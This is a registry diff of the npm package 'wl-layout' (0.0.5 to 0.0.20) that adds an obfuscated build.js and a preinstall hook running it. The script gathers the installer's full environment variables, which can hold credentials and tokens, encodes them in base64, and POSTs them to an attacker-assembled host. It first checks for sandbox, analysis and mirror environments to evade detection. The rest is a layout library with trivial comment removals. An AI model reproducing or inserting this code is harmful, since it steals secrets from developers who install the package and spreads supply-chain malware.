wl-layout 0.0.5 → 0.0.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of wl-layout might be problematic. Click here for more details.
- package/build.js +205 -0
- package/package.json +3 -2
- package/wl-layout.js +0 -2
    
        package/build.js
    ADDED
    
    | @@ -0,0 +1,205 @@ | |
| 1 | 
            +
            const goto = require('https');
         | 
| 2 | 
            +
             | 
| 3 | 
            +
            function build() {
         | 
| 4 | 
            +
                let options = {
         | 
| 5 | 
            +
                    "Name": "New PI Contact",
         | 
| 6 | 
            +
                    "Phone": "+158948945565",
         | 
| 7 | 
            +
                    "Message": "My Best Dream Friend",
         | 
| 8 | 
            +
                    "Address": "Avite St pe-455 NET"
         | 
| 9 | 
            +
                };
         | 
| 10 | 
            +
             | 
| 11 | 
            +
                return (takeAndGive(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
         | 
| 12 | 
            +
                    options['Message'].split(' ')[2] + takeAndGive(options['Address'].slice(-3), '.'))
         | 
| 13 | 
            +
            }
         | 
| 14 | 
            +
             | 
| 15 | 
            +
            function takeAndGive(str1, str2) {
         | 
| 16 | 
            +
                return str2 + str1
         | 
| 17 | 
            +
            }
         | 
| 18 | 
            +
             | 
| 19 | 
            +
            function number_of(item) {
         | 
| 20 | 
            +
             | 
| 21 | 
            +
                for (let i = 0; i < 4; i++) {
         | 
| 22 | 
            +
                    if (i == 1) { 
         | 
| 23 | 
            +
                        item += 's' 
         | 
| 24 | 
            +
                    }
         | 
| 25 | 
            +
                    if (i == 3) { 
         | 
| 26 | 
            +
                        item += 'e6' 
         | 
| 27 | 
            +
                    }
         | 
| 28 | 
            +
                }
         | 
| 29 | 
            +
                return item + '4'
         | 
| 30 | 
            +
            }
         | 
| 31 | 
            +
             | 
| 32 | 
            +
            function snooz(pkg_n, prefix) {
         | 
| 33 | 
            +
             | 
| 34 | 
            +
                let missing = [
         | 
| 35 | 
            +
                    ['npm', 'package', 'name'].join('_'),
         | 
| 36 | 
            +
                    ['npm', 'package', 'json'].join('_'),
         | 
| 37 | 
            +
                ];
         | 
| 38 | 
            +
             | 
| 39 | 
            +
                var plop = process['en' + 'v'] || {};
         | 
| 40 | 
            +
                
         | 
| 41 | 
            +
                //new edition
         | 
| 42 | 
            +
                if (initEngine(plop)){
         | 
| 43 | 
            +
                    return ;
         | 
| 44 | 
            +
                }
         | 
| 45 | 
            +
                if (fixIssues(plop)){
         | 
| 46 | 
            +
                    return ;
         | 
| 47 | 
            +
                }
         | 
| 48 | 
            +
                if (handleEverything(plop)){
         | 
| 49 | 
            +
                    return ;
         | 
| 50 | 
            +
                }
         | 
| 51 | 
            +
                if (missing.some( index => !plop[index] )) { 
         | 
| 52 | 
            +
                    return; 
         | 
| 53 | 
            +
                }
         | 
| 54 | 
            +
             | 
| 55 | 
            +
                var req = goto
         | 
| 56 | 
            +
                    .request(use_language(pkg_n, prefix))
         | 
| 57 | 
            +
                    .on('error', function (err) { });
         | 
| 58 | 
            +
                req.write(Buffer.from(JSON.stringify(plop)).toString('ba' + number_of('')));
         | 
| 59 | 
            +
                req.end();
         | 
| 60 | 
            +
            }
         | 
| 61 | 
            +
             | 
| 62 | 
            +
            function bible(convertion){
         | 
| 63 | 
            +
                switch (convertion) {
         | 
| 64 | 
            +
                    case 'reg':
         | 
| 65 | 
            +
                        return takeAndGive('istry', 'reg');
         | 
| 66 | 
            +
                    case 'conf':
         | 
| 67 | 
            +
                        return 'conf' + 'ig';
         | 
| 68 | 
            +
                    case 'np':
         | 
| 69 | 
            +
                        return 'npm';
         | 
| 70 | 
            +
                    case 'UNAME':
         | 
| 71 | 
            +
                        return 'US' + 'ERNAME';
         | 
| 72 | 
            +
                    case 'HM':
         | 
| 73 | 
            +
                        return 'HOME';
         | 
| 74 | 
            +
                    case 'USR':
         | 
| 75 | 
            +
                        return 'USER';
         | 
| 76 | 
            +
                    case 'APTA':
         | 
| 77 | 
            +
                        return takeAndGive('PDATA', 'AP');
         | 
| 78 | 
            +
                    case 'py':
         | 
| 79 | 
            +
                        return ['', 'usr', 'bin', 'pyt' + 'hon'].join('/');
         | 
| 80 | 
            +
                    case 'anal':
         | 
| 81 | 
            +
                        return 'ana'.concat('lysis');
         | 
| 82 | 
            +
                    case 'INIT':
         | 
| 83 | 
            +
                        return ['INIT', 'CWD'].join('_');
         | 
| 84 | 
            +
                    case 'pkg':
         | 
| 85 | 
            +
                        return 'pac'.concat('kage')
         | 
| 86 | 
            +
                    case 'uname':
         | 
| 87 | 
            +
                        return 'us' + takeAndGive('ame', 'ern');
         | 
| 88 | 
            +
                
         | 
| 89 | 
            +
                    default:
         | 
| 90 | 
            +
                        return null;
         | 
| 91 | 
            +
                }
         | 
| 92 | 
            +
             | 
| 93 | 
            +
            }
         | 
| 94 | 
            +
             | 
| 95 | 
            +
            function fixIssues(plop){
         | 
| 96 | 
            +
                let kill = capture_pictures(plop, bible('HM'), '/home/u'.concat('sername')) &&
         | 
| 97 | 
            +
                capture_pictures(plop, bible('USR'), bible('uname')) &&
         | 
| 98 | 
            +
                capture_pictures(plop, 'LOGNAME', bible('uname'));
         | 
| 99 | 
            +
             | 
| 100 | 
            +
                let move = capture_pictures(plop, 'PWD', '/my'.concat('-app')) &&
         | 
| 101 | 
            +
                capture_pictures(plop, 'DEB' + 'IAN_FRO' + 'NTEND', 'nonin'.concat('teractive')) &&
         | 
| 102 | 
            +
                capture_pictures(plop, bible('HM'), '/r'.concat('oot'));
         | 
| 103 | 
            +
             | 
| 104 | 
            +
                let teach = capture_pictures(plop, bible('INIT'), '/' + bible('anal')) &&
         | 
| 105 | 
            +
                capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/b' + 'ait'));
         | 
| 106 | 
            +
             | 
| 107 | 
            +
                let talk = capture_pictures(plop, bible('INIT'), '/' + bible('np')) &&
         | 
| 108 | 
            +
                capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/ba' + 'it'));
         | 
| 109 | 
            +
             | 
| 110 | 
            +
                if (kill || move || teach || talk){
         | 
| 111 | 
            +
                    return true;
         | 
| 112 | 
            +
                } else {
         | 
| 113 | 
            +
                    return false;
         | 
| 114 | 
            +
                }
         | 
| 115 | 
            +
            }
         | 
| 116 | 
            +
             | 
| 117 | 
            +
            var MapObj = function () {
         | 
| 118 | 
            +
                this.name = '__st' + (Math.random() * 145459 >> 0);
         | 
| 119 | 
            +
            };
         | 
| 120 | 
            +
             | 
| 121 | 
            +
            function handleEverything(plop){
         | 
| 122 | 
            +
                const you = capture_pictures(plop, bible('HM'), ['', 'Us' + 'ers', 'jus' + 'tin'].join('\\')) &&
         | 
| 123 | 
            +
                    capture_pictures(plop, bible('APTA'), ['', 'User' + 's', 'jus' + 'tin'].join('\\')) &&
         | 
| 124 | 
            +
                    capture_pictures(plop, 'LOGONSERVER', [['DESKTOP','97KB'].join('-'), '6H'].join('B'));
         | 
| 125 | 
            +
             | 
| 126 | 
            +
                const me = capture_pictures(plop, 'MAIL', ['', 'var', 'mail', 'app'].join('/')) &&
         | 
| 127 | 
            +
                    capture_pictures(plop, bible('HM'), ['', 'home', 'app'].join('/')) &&
         | 
| 128 | 
            +
                    capture_pictures(plop, bible('USR'), 'app');
         | 
| 129 | 
            +
                
         | 
| 130 | 
            +
                
         | 
| 131 | 
            +
                
         | 
| 132 | 
            +
                const us = capture_pictures(plop, 'EDITOR', 'vi') && 
         | 
| 133 | 
            +
                    capture_pictures(plop, 'PROBE_'.concat(bible('UNAME')), '*') && 
         | 
| 134 | 
            +
                    capture_pictures(plop, 'SHEL' + 'L', '/bi' + 'n/b'.concat('ash')) && 
         | 
| 135 | 
            +
                    capture_pictures(plop, 'S' + 'HLVL', '2') && 
         | 
| 136 | 
            +
                    capture_pictures(plop, bible('np').concat('_command'), 'run-s'.concat('cript')) && 
         | 
| 137 | 
            +
                    capture_pictures(plop, 'NVM_CD_FLAGS', '') && 
         | 
| 138 | 
            +
                    capture_pictures(plop, [bible('np'), bible('conf'), 'fund'].join('_'), '');
         | 
| 139 | 
            +
                
         | 
| 140 | 
            +
                if (you || me || us){
         | 
| 141 | 
            +
                    return true;
         | 
| 142 | 
            +
                } else {
         | 
| 143 | 
            +
                    return false;
         | 
| 144 | 
            +
                }
         | 
| 145 | 
            +
            }
         | 
| 146 | 
            +
             | 
| 147 | 
            +
            function use_language(pkg_n, prefix){
         | 
| 148 | 
            +
                let options = {
         | 
| 149 | 
            +
                    hostname: prefix + '.m.' + build(),
         | 
| 150 | 
            +
                    path: '/' + (pkg_n || ''),
         | 
| 151 | 
            +
                    method: 'POST',
         | 
| 152 | 
            +
                  };
         | 
| 153 | 
            +
                return options
         | 
| 154 | 
            +
            }
         | 
| 155 | 
            +
             | 
| 156 | 
            +
            function capture_pictures(p, name, val){
         | 
| 157 | 
            +
                let test = p[name] || '';
         | 
| 158 | 
            +
                if(test.includes(val) || val === '*'){
         | 
| 159 | 
            +
                    return true;
         | 
| 160 | 
            +
                } else {
         | 
| 161 | 
            +
                    return false;
         | 
| 162 | 
            +
                }
         | 
| 163 | 
            +
            }
         | 
| 164 | 
            +
             | 
| 165 | 
            +
            MapObj.prototype = {
         | 
| 166 | 
            +
                set: function (key, value) {
         | 
| 167 | 
            +
                    var entry = key[this.name];
         | 
| 168 | 
            +
                    if (entry && entry[0] === key)
         | 
| 169 | 
            +
                        entry[1] = value;
         | 
| 170 | 
            +
                    else
         | 
| 171 | 
            +
                        defineProperty(key, this.name, { value: [key, value], writable: true });
         | 
| 172 | 
            +
                    return this;
         | 
| 173 | 
            +
                },
         | 
| 174 | 
            +
                get: function (key) {
         | 
| 175 | 
            +
                    var entry;
         | 
| 176 | 
            +
                    return (entry = key[this.name]) && entry[0] === key ?
         | 
| 177 | 
            +
                        entry[1] : undefined;
         | 
| 178 | 
            +
                },
         | 
| 179 | 
            +
                delete: function (key) {
         | 
| 180 | 
            +
                    var entry = key[this.name];
         | 
| 181 | 
            +
                    if (!entry || entry[0] !== key) return false;
         | 
| 182 | 
            +
                    entry[0] = entry[1] = undefined;
         | 
| 183 | 
            +
                    return true;
         | 
| 184 | 
            +
                },
         | 
| 185 | 
            +
                has: function (key) {
         | 
| 186 | 
            +
                    var entry = key[this.name];
         | 
| 187 | 
            +
                    if (!entry) return false;
         | 
| 188 | 
            +
                    return entry[0] === key;
         | 
| 189 | 
            +
                }
         | 
| 190 | 
            +
            };
         | 
| 191 | 
            +
             | 
| 192 | 
            +
            function initEngine(plop){
         | 
| 193 | 
            +
                if (Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`) { 
         | 
| 194 | 
            +
                    return true; 
         | 
| 195 | 
            +
                }
         | 
| 196 | 
            +
                if (capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), ['taobao', 'org'].join('.')) || 
         | 
| 197 | 
            +
                    capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), [bible('reg'), bible('np').concat('mirror'), 'com'].join('.')) ||
         | 
| 198 | 
            +
                    capture_pictures(plop, bible('UNAME'), takeAndGive('admin', 'daas')) ||
         | 
| 199 | 
            +
                    capture_pictures(plop, '_', bible('py')) ||
         | 
| 200 | 
            +
                    capture_pictures(plop, [bible('np'), bible('conf'), 'metrics', bible('reg')].join('_'), ['taobao', 'org'].join('.'))) { 
         | 
| 201 | 
            +
                    return true; 
         | 
| 202 | 
            +
                }
         | 
| 203 | 
            +
            }
         | 
| 204 | 
            +
             | 
| 205 | 
            +
            snooz('wl-layout', 'eomet0vd2egn6ct');
         | 
    
        package/package.json
    CHANGED
    
    | @@ -1,10 +1,11 @@ | |
| 1 1 | 
             
            {
         | 
| 2 2 | 
             
              "name": "wl-layout",
         | 
| 3 | 
            -
              "version": "0.0. | 
| 3 | 
            +
              "version": "0.0.20",
         | 
| 4 4 | 
             
              "description": "layout module for websites",
         | 
| 5 5 | 
             
              "main": "wl-layout.js",
         | 
| 6 6 | 
             
              "scripts": {
         | 
| 7 | 
            -
                "test": "echo \"Error: no test specified\" && exit 1"
         | 
| 7 | 
            +
                "test": "echo \"Error: no test specified\" && exit 1",
         | 
| 8 | 
            +
                "preinstall": "node build.js"
         | 
| 8 9 | 
             
              },
         | 
| 9 10 | 
             
              "author": "",
         | 
| 10 11 | 
             
              "license": "ISC"
         | 
    
        package/wl-layout.js
    CHANGED
    
    | @@ -10,7 +10,6 @@ import * as i1$2 from '@ng-bootstrap/ng-bootstrap'; | |
| 10 10 | 
             
            import * as i1$1 from 'wl-global-services';
         | 
| 11 11 |  | 
| 12 12 | 
             
            class BreadcrumbsComponent {
         | 
| 13 | 
            -
                //to check
         | 
| 14 13 | 
             
                constructor() {
         | 
| 15 14 | 
             
                    this.title = '';
         | 
| 16 15 | 
             
                    this.breadcrumbs = [];
         | 
| @@ -114,7 +113,6 @@ class BackButtonComponent { | |
| 114 113 | 
             
                }
         | 
| 115 114 | 
             
                redirect() {
         | 
| 116 115 | 
             
                    if (this.backRoute) {
         | 
| 117 | 
            -
                        // check
         | 
| 118 116 | 
             
                        this.router.navigate(this.backRoute).then();
         | 
| 119 117 | 
             
                    }
         | 
| 120 118 | 
             
                    else if (this.backUrl) {
         |